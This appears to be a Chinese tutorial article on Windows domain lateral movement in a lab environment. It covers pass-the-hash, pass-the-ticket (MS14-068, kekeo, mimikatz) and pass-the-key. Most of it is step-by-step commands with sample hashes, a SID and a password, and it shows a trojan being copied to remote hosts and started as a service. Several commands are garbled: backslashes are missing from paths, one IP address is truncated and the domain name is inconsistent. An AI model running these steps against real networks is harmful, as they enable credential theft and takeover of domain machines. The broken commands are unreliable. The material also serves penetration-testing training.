什么是PTH?PTH利用手法介绍

电子说

1.2w人已加入

描述

PTH

什么是PTH?

pass the hash:哈希传递攻击,简称PTH,是在内网渗透中一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash或NTLM Hash访问远程主机或服务,而不用提供明文密码。在域环境中,用户登录计算机时使用的大部分都是域账号,大量计算机在安装时会使用相同的本地管理员账户密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。因此,此类攻击适用于:

• 域/工作组环境

• 可以获得hash,但是条件不允许对hash进行爆破

• 内网中存在和当前机器相同的密码

另外需要注意在Windows server 2012 R2 之前使用到的密码散列值是LM Hash、NTLM Hash,在2012 R2及其版本之后使用到的密码散列值是NTLM Hash。

PTH利用手法

当前演示环境如下:

Hash算法

如上图,该内网环境,域名为gog.org,共有3台机器,其中攻击者已经拿下了与该环境的Webserver,并读取到了该机器中的hash,接下来让我们尝试通过哈希传递的方式获取内网其他两台机器的控制权

mimikatz

其中我们的神器mimikatz就可以进行PTH攻击,但是mimikatz中的PTH攻击会在当前目标机器桌面中弹一个cmd窗口,所以不适合CS使用,适合获得当前目标桌面权限后再使用该命令去进行横向移动。首先我们先在Webserver中上传mimikatz,并读取hash:

 

privilege::debug # 提升权限
sekurlsa::logonpasswords # 抓取密码
Hash算法

 

获得本地管理员用户的Hash后,用mimikatz将administrator的hash添加到lsass进程中

 

sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c
Hash算法

 

成功后会弹出一个新的cmd窗口,这时再去访问远程主机服务,就不需要提供明文密码了,直接连接即可

Hash算法

这时我们将192.168.3.32上线到CS中,就可使用将木马复制到该机器中,然后使用sc创建一个服务绑定木马,然后启动该服务上线即可,具体实现命令如下:

 

copy 4444.exe \192.168.3.32c$  # 上传木马到目标机器中
sc \192.168.3.32 create bindshell binpath= "c:4444.exe" # 创建shell服务并绑定文件
Hash算法Hash算法

 

可以看到目标机器中已经创建了bindshell服务,这里我们直接启用该服务即可

 

sc \192.168.3.32 start bindshell # 启动bindshell服务
Hash算法

 

启动之后3.32成功上线。但是,在使用mimikatz进行哈希传递攻击时需要注意以下几点:

1. 使用mimikatz进行哈希传递要具有本地管理员权限

2. dir命令后面尽量跟主机名,否则可能会报错

impacket套件

除了mimikatz之外,像之前我们提到的impacket中的smbexec、wmiexec、psexec都可以进行PTH攻击。python psexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.32 "whoami"

Hash算法

 

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
Hash算法
python smbexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
Hash算法

 

PTT

pass the ticket:票据传递攻击,简称PTT,利用的票据凭证TGT进行的横向移动,它是利用Kerberos协议进行攻击的,这里介绍三种常见的攻击方法:MS14-068、Golden Ticket、SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。缺点:票据是有效期的,一般默认为10小时。

MS14-068

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞,它允许经过身份验证的用户在其Kerberos票据(TGT)中插入任意PAC。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中,用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。MS14-068所造成的危害是允许域内任何一个普通用户都可以将自己提升为域管权限。微软给出的修复补丁是KB3011780,漏洞攻击是否成功要看目标机器打没打KB3011780补丁。

漏洞利用

可以看到当前我们所处的身份是域内的一个普通用户,是无法对域控进行文件操作的。

Hash算法

这里我们第一步先获取当前机器的SID

 

shell whoami/user
Hash算法

 

拿到SID后,使用我们的ms14-068.exe生成一个票据文件。-u指定当前用户,-s 输入我们刚刚获取到的SID,-p输入当前用户密码,具体命令如下

 

shell ms14-068.exe -u webadmin@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d 192.168.3.21 -p admin!@#45
Hash算法

 

执行该命令后可以看到当前目录生成了一个票据文件。

Hash算法

这里生成票据文件后,就可以尝试连接目标看能否进行操作 首先清除下票据,以防该连接是以之前的票据进行连接的

 

shell klist purge
Hash算法

 

票据为空后,这里我们直接开始使用mimikatz导入票据,之后再来查看当前电脑的票据信息,看其是否有产生新的票据

 

mimikatz kerberos::ptc TGT_webadmin@god.org.ccache
shell klist
Hash算法

 

票据为空后,这里我们直接尝试与目标主机进行连接创建服务进行上线(这里建议在连接时,使用主机名进行连接,IP地址容易产生失败的问题)

 

shell net use \OWA2010CN-GODc$
shell copy 4444.exe \OWA2010CN-GODc$
shell sc \OWA2010CN-GOD create binshel1 binpath= "c:4444.exe"
shell sc \OWA2010-GOD start binshel1
Hash算法Hash算法

 

成功执行上线到CS,相对来说,MS14-068这个漏洞利用条件较为简单,如果域控没有打KB3011780补丁,哪怕一个普通用户权限也可以去尝试该漏洞进行利用。

kekeo

利用获取到的NTLM生成新的票据去尝试,成功与否看NTLM是否正确 缺点:票据是有效期的,所以如果当前主机在链接过域控的话,有效期内可利用。kekeo和下面的mimikatz与刚刚我们上面的ms14-068原理不太一样,ms14-068是基于漏洞,去允许域内任何一个普通用户将自己提升为域管权限,而kekeo和mimikatz是基于hash生成票据,然后再进行连接。这里假设我们已经通过横向其他机器,拿到了域控的hash,然后通过kekeo来伪造票据进行连接。

Hash算法

首先来看我们现在跳板机中的票据是空的

 

shell klist 
Hash算法

 

然后上传我们的kekeo文件,首先先生成票据

 

shell kekeo "tgt::ask /user:Administrator /domain:god.org /ntlm:ccef208c6485269c20db2cad21734fe7" "exit"
Hash算法

 

生成好后,可以看到当前目录会生成一个文件

Hash算法

该文件就是我们刚刚所生成的票据文件,接下来我们将它导入到内存中后,再来看我们的当前跳板机中有没有新增票据

 

shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
shell klist 
Hash算法

 

可以看到成功导入了一个票据,那这里我们对域控进行尝试连接

 

shell dir \owa2010cn-godc$
Hash算法

 

成功连接,那现在我相信大家可能都有一个疑问,就是现在都有了hash了,我直接使用pth去横向他不是更方便吗,为什么还要多此一举去生成票据之后,再用票据去进行横向呢?当然也是可以的,但是因为pth他所基于的协议,如smb、wmi、icp等,他们都依赖于135、445、139等端口等,那如果在环境中,出现端口、协议被禁用的情况的话,可以尝试使用得到的hash生成票据来进行横向。

MIMIKATZ

因为当前主机肯定之前与其他主机连接过,所以本地应该生成了一些票据,我们可以导出这些票据,然后在导入票据,利用,该方法类似于cookie欺骗。去利用历史遗留的票据重新认证尝试,成功与否看当前主机有没有被目标主机连接过。缺点:需要高权限用户 在进行本实验之前,需要先模拟一下域管用户在本机上的连接操作,留下票据之后在进行横向操作(可以在域控中远程链接一下跳板机或向C盘写入一个文件并认证)。

Hash算法

如上图,我们假设这条票据是之前域管用户在跳板机中留下的历史票据,那这里我们可以使用mimikatz进行伪造票据。首先我们先将内存中的票据导出

 

mimikatz sekurlsa::tickets /export

 

导出后可以看到当前目录会出现一个票据文件

Hash算法

这里再将其导入到内存中

 

mimikatz kerberos::ptt C:UserswebadminDesktopTGT_Administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
Hash算法

 

导入成功后,这里我们直接进行对靶标进行连接

 

shell net use \owa2010cn-godc$
shell dir \OWA2010CN-GODc$
Hash算法

 

PTK

pass the key:密钥传递攻击,简称PTK,利用的ekeys aes256进行的横向移动,成功几率不是很高,利用条件苛刻 漏洞利用条件:当系统安装了KB2871997补丁且禁用了NTLM的时候,那我们抓取到的NTLM hash就失去了作用,但是可以通过PTK的攻击方式获得权限。首先使用mimikatz导出aes值

 

mimikatz sekurlsa::ekeys
Hash算法

 

导出后使用我们下面这条命令来进行利用

 

mimikatz sekurlsa::pth /user:域用户名 /domain:域名 /aes256:aes256值
mimikatz sekurlsa::pth /user:administrator /domain:god /aes256:1811e5811877a782b6c11e2b0165ffb88d40a633f922a012372095a43d72d7ae

 

执行后会在桌面弹出一个cmd窗口,这里就可以进行横向移动利用,但是上文也讲了,该移动方法的利用条件有点苛刻,他是目标系统必须打了KB2871997且禁用了NTLM hash传递时,才可以利用,但是由于我们的靶场环境并没有打KB2871997补丁且没有禁用NTLM Hash,故无法利用成功。且当一个思路吧。





审核编辑:刘清

打开APP阅读更多精彩内容
声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉

全部0条评论

快来发表一下你的评论吧 !

×
20
完善资料,
赚取积分